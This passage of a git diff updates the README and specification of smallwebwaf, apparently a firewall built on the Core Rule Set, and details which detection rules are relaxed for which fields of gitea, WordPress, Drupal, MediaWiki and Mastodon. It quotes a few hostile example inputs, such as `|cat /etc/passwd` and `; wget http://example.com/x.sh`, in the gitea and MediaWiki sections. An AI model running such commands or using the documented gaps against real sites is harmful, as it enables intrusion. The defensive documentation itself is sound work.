Alert when the netblock around a client makes more requests than this in a minute, a count. | +| `SWW_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. | +| `SWW_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the netblock around a client in a minute, a size. | +| `SWW_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the netblock around a client in an hour, a size. | +| `SWW_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_ANOMALY_NET_` thresholds count, from 0 to 32. | +| `SWW_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_ANOMALY_NET_` thresholds count, from 0 to 128. | +| `SWW_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. | +| `SWW_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. | +| `SWW_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one AS number in a minute, a size. | +| `SWW_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one AS number in an hour, a size. | +| `SWW_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. | +| `SWW_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. | +| `SWW_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the whole service in a minute, a size. | +| `SWW_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the whole service in an hour, a size. | +| `SWW_WATCH_NETS` | empty | Named netblocks the `SWW_WATCH_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. | +| `SWW_WATCH_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. | +| `SWW_WATCH_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. | +| `SWW_WATCH_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for a watched netblock in a minute, a size. | +| `SWW_WATCH_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for a watched netblock in an hour, a size. | [`docs/settings.md`](docs/settings.md) gives the values each setting takes in full, and the limits that are fixed rather than settings. @@ -581,27 +582,31 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md). headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In front of a code forge, bodies carry what people write and publish, which the rules take for attacks. -- `smallwebwaf` changes the Core Rule Set in fourteen ways so that ordinary - requests get through to the apps listed below. No setting undoes the changes; - "Attack detection" in [`SPEC.md`](SPEC.md) lists them. -- These apps work out of the box at the default settings, and their recorded - ordinary requests pass the Core Rule Set: - - gitea: git over HTTP and sign-in through Git Credential Manager get - through. On gitea's own paths, its searches, file names and branch names - do too. - - WordPress: saving a post from the block editor gets through. On - WordPress's own paths, its searches, names and file names do too. - - Drupal: on Drupal's own paths, the page to return to, its searches and its - names get through. - - MediaWiki: on MediaWiki's own paths, its searches, page titles, names and - wikitext get through. - - Mastodon: on Mastodon's own paths, its searches, names, email addresses, - posts and deliveries from other servers get through. - - Vaultwarden: on Vaultwarden's own paths, its names, password hints, email - addresses and encrypted file names get through. - - Nextcloud: its sync client gets through. On Nextcloud's own paths, its - WebDAV methods, searches, file names, account names, comments and - documents do too. +- `smallwebwaf` changes the Core Rule Set in six ways so that it lets ordinary + requests to a code forge through, such as git over HTTP and sign-in through + Git Credential Manager. No setting undoes the changes; "Attack detection" in + [`SPEC.md`](SPEC.md) lists them. +- Each supported app also has its own fixes, which let its ordinary requests + through. Its recorded ordinary requests pass the Core Rule Set at the default + settings. The supported apps, by their names in `SWW_APPS`, are: + - `gitea`, whose fixes let its searches, file names and branch names + through; + - `wordpress`, whose fixes let through its searches, its names, its file + names and a post saved from the block editor; + - `drupal`, whose fixes let through the page to return to, its searches and + its names; + - `mediawiki`, whose fixes let through its searches, its page titles, its + names and its wikitext; + - `mastodon`, whose fixes let through its searches, its names, its email + addresses, its posts and deliveries from other servers; + - `vaultwarden`, whose fixes let through its names, its password hints, its + email addresses and its encrypted file names; + - `nextcloud`, whose fixes let through its sync client, its WebDAV methods, + its searches, its file names, its account names, its comments and its + documents. +- `SWW_APPS` names the apps each hostname serves. A hostname gets only its own + apps' fixes, and a hostname it does not list gets none. Unset, every app's + fixes apply to every hostname. - `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own fields or paths. - Rule files are plain text, one rule to a line, edited by hand and read again diff --git a/SPEC.md b/SPEC.md index 0b9b9db..af35e72 100644 --- a/SPEC.md +++ b/SPEC.md @@ -81,8 +81,8 @@ to them. of bans is full. - `internal/rules`: reads the rule files at start and again when they change, and tells which rules a request matches. - - `internal/coreruleset`: the Core Rule Set, with the fourteen changes - listed under "Attack detection", as Coraza directives. + - `internal/coreruleset`: the Core Rule Set, with the six changes and the + apps' fixes listed under "Attack detection", as Coraza directives. - `internal/lookup`: looks clients up through GeoJS or in the lookup database. - `internal/reputation`: fetches the lists, asks the DNS blocklists and @@ -676,8 +676,8 @@ files, the limits and the bans still apply to the client that sends it. - `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` names a file of exclusions, written as Coraza directives. An exclusion switches one rule off for some fields or paths only, where `SWW_WAF_DISABLED_RULES` switches it off everywhere. The file - holds an app's own exclusions. The eighth to fourteenth changes below hold - those of the apps they name. + holds an app's own exclusions; the apps' fixes below hold those of each app + `SWW_APPS` takes. - `discriminator` loads the file after `smallwebwaf`'s own setup rules and before the Core Rule Set's rules. The Core Rule Set loads its own `REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf` at the same point. @@ -723,23 +723,14 @@ files, the limits and the bans still apply to the client that sends it. scanner from an ordinary client. In front of a code forge, registry and git clients get `404` and `401` by design, hundreds of times a minute. -`smallwebwaf` changes the Core Rule Set 4.25.0 in fourteen ways. Without them, -it would refuse ordinary requests to these apps: - -- gitea; -- WordPress; -- Drupal; -- MediaWiki; -- Mastodon; -- Vaultwarden; -- Nextcloud. - -The changes hold in front of every app, and no setting undoes them: +`smallwebwaf` changes the Core Rule Set 4.25.0 in six ways, since in front of +gitea it would otherwise refuse ordinary requests. The changes hold in front of +every app, and no setting undoes them: 1. `PUT`, `PATCH` and `DELETE` are allowed methods besides `GET`, `HEAD`, `POST` and `OPTIONS`. APIs, container image pushes and package uploads use them. - Other methods stay refused, except on Nextcloud's WebDAV paths, where the - fourteenth change allows the WebDAV methods Nextcloud uses. + Other methods stay refused, except on Nextcloud's WebDAV paths, where + Nextcloud's fixes allow the WebDAV methods Nextcloud uses. 2. The request header `Expect` is allowed, since curl and git send it before some large uploads. `Content-Encoding` is allowed on a request whose body the Core Rule Set does not read, which by default is every request. git @@ -747,15 +738,68 @@ The changes hold in front of every app, and no setting undoes them: the Core Rule Set does read, the header stays refused, since a compressed body cannot be inspected. While `SWW_WAF_BODY_LIMIT` is set, it stays refused too on a `PUT` of JSON, XML or form data to Nextcloud's WebDAV paths, whose - body the fourteenth change leaves unread. The other headers the Core Rule Set + body Nextcloud's fixes leave unread. The other headers the Core Rule Set refuses, such as `Proxy`, stay refused. 3. The `redirect_uri` parameter is not checked for a URL naming an IP address or `localhost` (931100, 934110). Git Credential Manager, git-credential-oauth and tea, which gitea registers for OAuth sign-in, ask to be sent back to `http://127.0.0.1` on the user's own machine. The server never fetches that address. -4. Ten query parameters are not checked against the Core Rule Set's lists of - system files (930120), shell paths (932160) and command names (932260): +4. `Referer` is not checked for a Unix command given without arguments (932340), + for Java starting a process (944110) or for a Java class name (944130). + `Referer` names the page a request comes from, on everything that page loads + and on every link followed from it. The Core Rule Set takes some page + addresses for attacks: + - a search for `env`; + - OpenJDK's `Runtime.java`, whose path holds both `runtime` and `java.`; + - a file named `java.lang.String.md`. + + Every request from such a page would be refused. `Referer` keeps the other + rules, except after some gitea searches (gitea's fixes). An app that passes + `Referer` to a shell must check it itself. + +5. Responses are not inspected. A raw file from a repository, such as a shell + script, looks to the response rules like source code leaking from the server. +6. The `from` parameter of a container registry's upload path, + `/v2//blobs/uploads/`, is not checked for command names (932260). When + a push reuses a layer, `from` names the image the layer comes from. An image + such as `owner/python3-app` would have that push refused. + +Each supported app also has its own fixes, which let its ordinary requests +through. `SWW_APPS` says which hostnames get which app's fixes: + +- `SWW_APPS` holds entries separated by semicolons. Each is a hostname, a colon, + then one or more apps separated by commas, for example + `git.example.com:gitea;blog.example.com:wordpress`. +- The request's `Host` is matched by exact name, without its port and without + regard to case. There are no wildcards. +- A hostname not listed gets no app's fixes, so every rule checks it in full. + Set empty, `SWW_APPS` lists no hostname. +- Unset, every app's fixes hold for every hostname. An app's fixes then weaken + the check of any other app that serves the same paths or fields. +- Any of these mistakes stops the start: + - an unknown app; + - a hostname that is not a DNS name, such as `*.example.com`; + - a hostname listed twice; + - an app listed twice for one hostname; + - an entry without a colon. + +The supported apps are: + +- `drupal`; +- `gitea`; +- `mastodon`; +- `mediawiki`; +- `nextcloud`; +- `vaultwarden`; +- `wordpress`. + +Each app's fixes are in one file, such as `internal/coreruleset/gitea.conf`, and +one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are: + +1. Ten query parameters are not checked against the Core Rule Set's lists of + system files (930120), shell paths (932160) and command names (932260), on + any path: - `path`, `files`, `skip-to` and `sub_path`; - `ref`, `sha`, `branch` and `workflow`; - `artifactName` and `redirect_to`. @@ -767,43 +811,19 @@ The changes hold in front of every app, and no setting undoes them: or `docker-build`. In these parameters, what only these three rules would catch reaches the app, such as the command `|cat /etc/passwd`. Path traversal, SQL and script injection, and PHP, Java and Node.js code are - still refused there. Other parameters keep all three rules. The eighth to - fourteenth changes switch some of them off for some fields on the paths of - the apps they name. An app that uses one of these parameters as a file on - the server, or passes it to a shell, must check the value itself. A rule - file can refuse it instead. + still refused there. Other parameters keep all three rules, except on the + paths named in gitea's third fix and in the other apps' fixes. -5. Two cookies are left out, and `Referer` keeps fewer rules: - - The Core Rule Set reads the request without the `gitea_flash` and - `redirect_to` cookies. gitea puts a message naming what was just done into - `gitea_flash`. It puts into `redirect_to` the page to return to after - signing in. The Core Rule Set takes file names in them, such as - `package.json`, for attacks. A browser sends such a cookie with every - request until gitea replaces it. gitea cannot replace it while those - requests are refused, so one refusal would keep the browser out of the - whole site. gitea shows the message with any script removed and returns - only to its own pages. Every other cookie is read in full. An app that - reads a cookie of either name must check it itself. - - `Referer` is not checked for a Unix command given without arguments - (932340), for Java starting a process (944110) or for a Java class name - (944130). `Referer` names the page a request comes from, on everything - that page loads and on every link followed from it. The Core Rule Set - takes some page addresses for attacks: - - a search for `env`; - - OpenJDK's `Runtime.java`, whose path holds both `runtime` and `java.`; - - a file named `java.lang.String.md`. - - Every request from such a page would be refused. `Referer` keeps the - other rules, except after some gitea searches (the eighth change). An - app that passes `Referer` to a shell must check it itself. - -6. Responses are not inspected. A raw file from a repository, such as a shell - script, looks to the response rules like source code leaking from the server. -7. The `from` parameter of a container registry's upload path, - `/v2//blobs/uploads/`, is not checked for command names (932260). When - a push reuses a layer, `from` names the image the layer comes from. An image - such as `owner/python3-app` would have that push refused. -8. On gitea's paths, some fields skip the rules that refused ordinary gitea +2. The Core Rule Set reads the request without the `gitea_flash` and + `redirect_to` cookies. gitea puts a message naming what was just done into + `gitea_flash`. It puts into `redirect_to` the page to return to after signing + in. The Core Rule Set takes file names in them, such as `package.json`, for + attacks. A browser sends such a cookie with every request until gitea + replaces it. gitea cannot replace it while those requests are refused, so one + refusal would keep the browser out of the whole site. gitea shows the message + with any script removed and returns only to its own pages. Every other cookie + is read in full. +3. On gitea's paths, some fields skip the rules that refused ordinary gitea requests there. They are the fields where gitea sends a search, a file name or a branch name. `internal/coreruleset/gitea.conf` lists each rule and the request it refused. The fields are: @@ -821,8 +841,7 @@ The changes hold in front of every app, and no setting undoes them: - packages. A user's or an organisation's page is any path of one segment, so on - every such path, on any app, `q` skips these three rules, for example on - `/search`. + every such path `q` skips these three rules, for example on `/search`. Some of these searches also skip the rule for Java class names (944130), which refused `org.apache.commons.logging`. @@ -860,500 +879,506 @@ The changes hold in front of every app, and no setting undoes them: `actions/upload-artifact@v3` (920450). Elsewhere these fields keep every rule. The paths are those of gitea at the - site root. An app other than gitea that serves one of them must check these - fields itself. + site root. -9. On WordPress's paths, some fields skip the rules that refused ordinary - WordPress requests there. `internal/coreruleset/wordpress.conf` lists each - rule and the request it refused. The REST API has four addresses: - - `/wp-json/...` - - `/index.php/wp-json/...` - - `/index.php?rest_route=/...` - - `/?rest_route=/...` +WordPress's fixes: on WordPress's paths, some fields skip the rules that refused +ordinary WordPress requests there. `internal/coreruleset/wordpress.conf` lists +each rule and the request it refused. The REST API has four addresses: - The fields are: - - The header `X-HTTP-Method-Override` on any address of the REST API - (920450). The block editor saves a post with `POST` and names `PUT` in - this header. - - Three groups of fields skip the rules on system files and commands - (930120, 932120, 932250, 932260). The fields hold searches, names and - addresses of WordPress's own pages, and any of them can hold any word. The - groups are: - - On all of `/wp-admin/` and on `/wp-login.php`: - - the searches `s`, `search`, `q` and `term`; - - the names `tag`, `category_name`, `plugin`, `checked[]`, `theme` - and `stylesheet`; - - the name of a plugin's settings page in `page`; - - the addresses `url`, `return`, `redirect_to`, `wp_http_referer` - and `_wp_http_referer`. - - On every REST API route under `/wp/v2/` and on the route - `/oembed/1.0/embed`: `search`, `term`, `slug` and `url`. - - On `/`, `/index.php`, `/page/N/` and `/index.php/page/N/`: `s` and - `tag`. +- `/wp-json/...` +- `/index.php/wp-json/...` +- `/index.php?rest_route=/...` +- `/?rest_route=/...` - The addresses of the first group also skip the rule on Unix commands - (932235), because an address repeats the search it came from. The other - fields of the groups keep that rule. +The fields are: - - On all of `/wp-admin/` and on `/wp-login.php`, these names skip the lists - of PowerShell commands and command names (932120, 932260): - - the name of a template in `p` and `postId` of the site editor; - - the name of a plugin to install in `slug`. +- The header `X-HTTP-Method-Override` on any address of the REST API (920450). + The block editor saves a post with `POST` and names `PUT` in this header. +- Three groups of fields skip the rules on system files and commands (930120, + 932120, 932250, 932260). The fields hold searches, names and addresses of + WordPress's own pages, and any of them can hold any word. The groups are: + - On all of `/wp-admin/` and on `/wp-login.php`: + - the searches `s`, `search`, `q` and `term`; + - the names `tag`, `category_name`, `plugin`, `checked[]`, `theme` and + `stylesheet`; + - the name of a plugin's settings page in `page`; + - the addresses `url`, `return`, `redirect_to`, `wp_http_referer` and + `_wp_http_referer`. + - On every REST API route under `/wp/v2/` and on the route + `/oembed/1.0/embed`: `search`, `term`, `slug` and `url`. + - On `/`, `/index.php`, `/page/N/` and `/index.php/page/N/`: `s` and `tag`. - WordPress writes these names as slugs, such as `htaccess` and `ls-la`. + The addresses of the first group also skip the rule on Unix commands + (932235), because an address repeats the search it came from. The other + fields of the groups keep that rule. - - `url` on the REST API routes `/wp-block-editor/v1/url-details` and - `/oembed/1.0/proxy`, for the lists of system files and PowerShell commands - (930120, 932120). The block editor's link previews and embeds send an - address in this field. +- On all of `/wp-admin/` and on `/wp-login.php`, these names skip the lists of + PowerShell commands and command names (932120, 932260): + - the name of a template in `p` and `postId` of the site editor; + - the name of a plugin to install in `slug`. - - `_wp_http_referer` on `/wp-admin/upload.php`, for a Unix command given - without arguments (932340). The media list's own address ends in `&ps`. - - `file` on `/wp-admin/plugin-editor.php` and `/wp-admin/theme-editor.php`, - for the lists of system files, shell paths, command names and JavaScript - names (930120, 932120, 932160, 932260, 941180). - - These fields of a body. Each applies only when the query has no parameter - of that name, so it matters only while `SWW_WAF_BODY_LIMIT` is set: - - `content` of a post, a page, a template or a template part saved - through the REST API. It holds HTML and any code it shows. - - `content` of a reply to a comment sent to `admin-ajax.php`. - - `newcontent` of a plugin's or a theme's file saved from its editor, - which is PHP. - - `pwd` when signing in, for the list of system files (930120). - - `title`, `excerpt` and `name` in a JSON body sent to any REST API - route under `/wp/v2/`, for the rules on system files and commands - (930120, 932120, 932250, 932260). - - `slug` in a JSON body sent to any REST API route under `/wp/v2/`, for - the lists of PowerShell commands and command names (932120, 932260). - - `url` on `/wp-comments-post.php`, the address of a commenter's site, - for the lists of system files and PowerShell commands (930120, - 932120). + WordPress writes these names as slugs, such as `htaccess` and `ls-la`. - Elsewhere this change does not apply. The paths are those of WordPress at - the site root. An app other than WordPress that serves one of them must - check these fields itself. +- `url` on the REST API routes `/wp-block-editor/v1/url-details` and + `/oembed/1.0/proxy`, for the lists of system files and PowerShell commands + (930120, 932120). The block editor's link previews and embeds send an address + in this field. -10. On Drupal's paths, some fields skip the rules that refused ordinary Drupal - requests there. `internal/coreruleset/drupal.conf` lists each rule and the - request it refused. These query fields skip the lists of system files and - command names (930120, 932120, 932250, 932260): - - On every page under `/admin`: `title`, `name`, `user`, `filename`, - `filemime`, `info`, `subject`, `author_name`, `search`, `q` and - `destination`. - - `destination` on the pages Drupal links to with one, such as these: - - `/node/1/edit`; - - `/user/login`; - - `/node/1/revisions/2/revert`; - - `/block/add/basic`; - - `/big_pipe/no-js`. - - `keys` on `/search` and the pages under it. - - `q` on these autocompletes: - - `/entity_reference_autocomplete/`; - - `/ckeditor5/{editor}/entity-link-suggestions`; - - `/block-category/autocomplete`. - - Every `filter[...]` field on `/jsonapi/`. - - `name` on `/user/password`, `/media-library` and `/views/ajax`, in the - query or a body. +- `_wp_http_referer` on `/wp-admin/upload.php`, for a Unix command given without + arguments (932340). The media list's own address ends in `&ps`. +- `file` on `/wp-admin/plugin-editor.php` and `/wp-admin/theme-editor.php`, for + the lists of system files, shell paths, command names and JavaScript names + (930120, 932120, 932160, 932260, 941180). +- These fields of a body. Each applies only when the query has no parameter of + that name, so it matters only while `SWW_WAF_BODY_LIMIT` is set: + - `content` of a post, a page, a template or a template part saved through + the REST API. It holds HTML and any code it shows. + - `content` of a reply to a comment sent to `admin-ajax.php`. + - `newcontent` of a plugin's or a theme's file saved from its editor, which + is PHP. + - `pwd` when signing in, for the list of system files (930120). + - `title`, `excerpt` and `name` in a JSON body sent to any REST API route + under `/wp/v2/`, for the rules on system files and commands (930120, + 932120, 932250, 932260). + - `slug` in a JSON body sent to any REST API route under `/wp/v2/`, for the + lists of PowerShell commands and command names (932120, 932260). + - `url` on `/wp-comments-post.php`, the address of a commenter's site, for + the lists of system files and PowerShell commands (930120, 932120). - `destination` also skips 932230 and 932235, because it holds the address of - a page of results. `url` on `/media/oembed`, the address of a video, skips - only 930120 and 932120. +Elsewhere WordPress's fixes do not apply. The paths are those of WordPress at +the site root. - These fields of a body skip the rules that refused them: - - On the node, comment and media forms, for 930120, 932120, 932250 and - 932260: - - the title; - - the summary; - - the tags; - - the address; - - the revision note; - - the comment subject; - - the media name; - - the image text. - - On the tag, custom block and contact forms, for the same four rules: - - the tag's name and description; - - the block description and body; - - the subject and message of a contact message. - - These fields through JSON:API, for the same four rules: - - `title`; - - `subject`; - - `body.summary`; - - `name`; - - `revision_log`; - - `info`; - - `description.value`. - - The title saved through Drupal's JSON format on `/node/{id}`, for the same - four rules. - - The body and comment body on the node and comment forms and through - JSON:API, which hold HTML and any code it shows. - - `name` and `pass` when signing in (930120, 932120, 932250, 932260). - - `name` when resetting a password through Drupal's JSON format on - `/user/password`, for the same four rules. - - `mail` in that same reset, for 932120 and 932260 only. - - `name` when signing up, editing an account and commenting without an - account, for the same four rules. - - `mail` on those forms, for 930120, 932120 and 932260 only. +Drupal's fixes: on Drupal's paths, some fields skip the rules that refused +ordinary Drupal requests there. `internal/coreruleset/drupal.conf` lists each +rule and the request it refused. These query fields skip the lists of system +files and command names (930120, 932120, 932250, 932260): - These exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None applies - when the query has a parameter of the same name. +- On every page under `/admin`: `title`, `name`, `user`, `filename`, `filemime`, + `info`, `subject`, `author_name`, `search`, `q` and `destination`. +- `destination` on the pages Drupal links to with one, such as these: + - `/node/1/edit`; + - `/user/login`; + - `/node/1/revisions/2/revert`; + - `/block/add/basic`; + - `/big_pipe/no-js`. +- `keys` on `/search` and the pages under it. +- `q` on these autocompletes: + - `/entity_reference_autocomplete/`; + - `/ckeditor5/{editor}/entity-link-suggestions`; + - `/block-category/autocomplete`. +- Every `filter[...]` field on `/jsonapi/`. +- `name` on `/user/password`, `/media-library` and `/views/ajax`, in the query + or a body. - Elsewhere these fields keep every rule. The paths are those of Drupal at the - site root, with or without a language prefix such as `/fr`. Such a prefix is - any first path segment of two or three lowercase letters, optionally - followed by a hyphen and more letters, so `/api` counts too. An app other - than Drupal that serves one of them must check these fields itself. +`destination` also skips 932230 and 932235, because it holds the address of a +page of results. `url` on `/media/oembed`, the address of a video, skips only +930120 and 932120. -11. On MediaWiki's paths, some fields skip the rules that refused ordinary - MediaWiki requests there. `internal/coreruleset/mediawiki.conf` lists each - rule and the request it refused. These fields skip the lists of system files - and command names (930120, 932120, 932250, 932260), in the query or the - body: - - On MediaWiki's pages, which are `/index.php` and the paths under - `/index.php/` and `/wiki/`: - - the searches `search` and `ilsearch`; - - the titles `title`, `page` and `target`; - - `from`, `to` and `prefix`, which limit a list of pages; - - the user names `user`, `username` and `wpTarget`; - - the file names `filename` and `wpDestFile`; - - `returnto` and `returntoquery`, the page and query to go back to after - signing in. - - On `/api.php`: - - the searches `search`, `srsearch` and `pssearch`; - - the titles `titles`, `title`, `page` and `bltitle`; - - `from` and `to`, the titles of a page being moved; - - the starts of lists `apfrom`, `apto`, `apprefix`, `aifrom`, - `aiprefix`, `aufrom` and `auprefix`; - - `letitle`, the page whose log is listed; - - `euquery`, an address; - - the fields a generator sends in place of the fields above, each with a - `g` in front: - - `gsrsearch` and `gpssearch`; - - `gapfrom`, `gapto` and `gapprefix`; - - `gaifrom` and `gaiprefix`; - - `gbltitle`; - - `geuquery`; - - the user names `ucuser`, `bkusers` and `user`; - - `summary`, `sectiontitle`, `filename`, `comment` and `reason`; - - `lgname`, `lgpassword`, `username` and `password`, for signing in. - - `q` on `/rest.php/` and the paths under it. +These fields of a body skip the rules that refused them: - `modules` on `/load.php` skips 930120 alone, because it lists the scripts - and styles a page loads. +- On the node, comment and media forms, for 930120, 932120, 932250 and 932260: + - the title; + - the summary; + - the tags; + - the address; + - the revision note; + - the comment subject; + - the media name; + - the image text. +- On the tag, custom block and contact forms, for the same four rules: + - the tag's name and description; + - the block description and body; + - the subject and message of a contact message. +- These fields through JSON:API, for the same four rules: + - `title`; + - `subject`; + - `body.summary`; + - `name`; + - `revision_log`; + - `info`; + - `description.value`. +- The title saved through Drupal's JSON format on `/node/{id}`, for the same + four rules. +- The body and comment body on the node and comment forms and through JSON:API, + which hold HTML and any code it shows. +- `name` and `pass` when signing in (930120, 932120, 932250, 932260). +- `name` when resetting a password through Drupal's JSON format on + `/user/password`, for the same four rules. +- `mail` in that same reset, for 932120 and 932260 only. +- `name` when signing up, editing an account and commenting without an account, + for the same four rules. +- `mail` on those forms, for 930120, 932120 and 932260 only. - These fields of a body skip the rules that refused them: - - On MediaWiki's pages, for the same four rules: - - `wpSummary`, the summary of an edit; - - `wpUploadDescription`, the description of an uploaded file; - - `wpName` and `wpPassword`, for signing in; - - `wpOldTitle`, `wpNewTitleMain` and `wpReason`, for moving a page. - - `comment` in the JSON body of `/rest.php/`, for the same four rules. - - On MediaWiki's pages, for 930120 and 932120 alone, the reasons on the - admin pages: - - `wpReason-other`, for blocking a user; - - `user-reason`, for changing a user's groups; - - `mwProtect-reason`, for protecting a page. - - On MediaWiki's pages, `wpTitles`, the list of watched pages that - `Special:EditWatchlist/raw` sends, one title per line. It always skips - 930120, 932120 and 932250. It skips 932125, 932230, 932235, 932260 and - 932380 only when it holds no `;`, `|`, `&`, backtick or `{`. A title - starting with a command name, such as `Python3 notes`, passes. So does a - command alone on a line, such as `wget http://example.com/x.sh`. A command - such as `; wget http://example.com/x.sh` is still refused. So is a list - that mixes a title holding one of these characters with a title starting - with a command name. - - The wikitext of a page, which holds templates, tables and any code it - shows: - - `wpTextbox1` on MediaWiki's pages; - - `text`, `appendtext` and `prependtext` on `/api.php`; - - `source` in the JSON body of `/rest.php/`. +These exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None applies +when the query has a parameter of the same name. - These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None - applies when the query has a parameter of the same name. +Elsewhere these fields keep every rule. The paths are those of Drupal at the +site root, with or without a language prefix such as `/fr`. Such a prefix is any +first path segment of two or three lowercase letters, optionally followed by a +hyphen and more letters, so `/api` counts too. - The names of uploaded files skip 932180 on MediaWiki's pages and on - `/api.php`, so a picture named `Notes on .htaccess.png` can be uploaded. - MediaWiki refuses a file whose extension it does not allow. +MediaWiki's fixes: on MediaWiki's paths, some fields skip the rules that refused +ordinary MediaWiki requests there. `internal/coreruleset/mediawiki.conf` lists +each rule and the request it refused. These fields skip the lists of system +files and command names (930120, 932120, 932250, 932260), in the query or the +body: - `/index.php` itself counts as MediaWiki's only when its query has a `title`, - as in `/index.php?title=Main_Page`. WordPress serves `/index.php` too. A - wiki without short URLs serves its pages under `/index.php/`, as in - `/index.php/Main_Page`, and its sign-in and upload forms post there. +- On MediaWiki's pages, which are `/index.php` and the paths under `/index.php/` + and `/wiki/`: + - the searches `search` and `ilsearch`; + - the titles `title`, `page` and `target`; + - `from`, `to` and `prefix`, which limit a list of pages; + - the user names `user`, `username` and `wpTarget`; + - the file names `filename` and `wpDestFile`; + - `returnto` and `returntoquery`, the page and query to go back to after + signing in. +- On `/api.php`: + - the searches `search`, `srsearch` and `pssearch`; + - the titles `titles`, `title`, `page` and `bltitle`; + - `from` and `to`, the titles of a page being moved; + - the starts of lists `apfrom`, `apto`, `apprefix`, `aifrom`, `aiprefix`, + `aufrom` and `auprefix`; + - `letitle`, the page whose log is listed; + - `euquery`, an address; + - the fields a generator sends in place of the fields above, each with a `g` + in front: + - `gsrsearch` and `gpssearch`; + - `gapfrom`, `gapto` and `gapprefix`; + - `gaifrom` and `gaiprefix`; + - `gbltitle`; + - `geuquery`; + - the user names `ucuser`, `bkusers` and `user`; + - `summary`, `sectiontitle`, `filename`, `comment` and `reason`; + - `lgname`, `lgpassword`, `username` and `password`, for signing in. +- `q` on `/rest.php/` and the paths under it. - Elsewhere these fields keep every rule. The paths are those of MediaWiki at - the site root or under `/w/`. An app other than MediaWiki that serves one of - them must check these fields itself. +`modules` on `/load.php` skips 930120 alone, because it lists the scripts and +styles a page loads. -12. On Mastodon's paths, some fields skip the rules that refused ordinary - Mastodon requests there. `internal/coreruleset/mastodon.conf` lists each - rule and the request it refused. These fields skip the lists of system files - and command names (930120, 932120, 932250, 932260), in the query: - - On the API's search, accounts and admin accounts, under `/api/v1/` and - `/api/v2/`, the searches and names `q`, `acct`, `username`, - `display_name`, `email` and `by_domain`. - - On `/admin/accounts`, `/admin/instances`, `/admin/custom_emojis` and - `/admin/tags`, the searches `username`, `display_name`, `email`, - `by_domain`, `shortcode` and `name`. - - `q` on `/search`, the web app's search page. +These fields of a body skip the rules that refused them: - These fields of a body skip the same four rules: - - On these API resources, under `/api/v1/` or `/api/v2/`, and the paths - under them: - - `statuses`, `media` and `reports`; - - `accounts` and `profile`; - - `lists`, `filters` and `featured_tags`; - - the admin API's `accounts`, `domain_blocks` and `ip_blocks`. - - On those resources, these fields: - - `spoiler_text` and `poll[options][]`, for posting; - - `description`, of an uploaded file; +- On MediaWiki's pages, for the same four rules: + - `wpSummary`, the summary of an edit; + - `wpUploadDescription`, the description of an uploaded file; + - `wpName` and `wpPassword`, for signing in; + - `wpOldTitle`, `wpNewTitleMain` and `wpReason`, for moving a page. +- `comment` in the JSON body of `/rest.php/`, for the same four rules. +- On MediaWiki's pages, for 930120 and 932120 alone, the reasons on the admin + pages: + - `wpReason-other`, for blocking a user; + - `user-reason`, for changing a user's groups; + - `mwProtect-reason`, for protecting a page. +- On MediaWiki's pages, `wpTitles`, the list of watched pages that + `Special:EditWatchlist/raw` sends, one title per line. It always skips 930120, + 932120 and 932250. It skips 932125, 932230, 932235, 932260 and 932380 only + when it holds no `;`, `|`, `&`, backtick or `{`. A title starting with a + command name, such as `Python3 notes`, passes. So does a command alone on a + line, such as `wget http://example.com/x.sh`. A command such as + `; wget http://example.com/x.sh` is still refused. So is a list that mixes a + title holding one of these characters with a title starting with a command + name. +- The wikitext of a page, which holds templates, tables and any code it shows: + - `wpTextbox1` on MediaWiki's pages; + - `text`, `appendtext` and `prependtext` on `/api.php`; + - `source` in the JSON body of `/rest.php/`. + +These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None +applies when the query has a parameter of the same name. + +The names of uploaded files skip 932180 on MediaWiki's pages and on `/api.php`, +so a picture named `Notes on .htaccess.png` can be uploaded. MediaWiki refuses a +file whose extension it does not allow. + +`/index.php` itself counts as MediaWiki's only when its query has a `title`, as +in `/index.php?title=Main_Page`. WordPress serves `/index.php` too. A wiki +without short URLs serves its pages under `/index.php/`, as in +`/index.php/Main_Page`, and its sign-in and upload forms post there. + +Elsewhere these fields keep every rule. The paths are those of MediaWiki at the +site root or under `/w/`. + +Mastodon's fixes: on Mastodon's paths, some fields skip the rules that refused +ordinary Mastodon requests there. 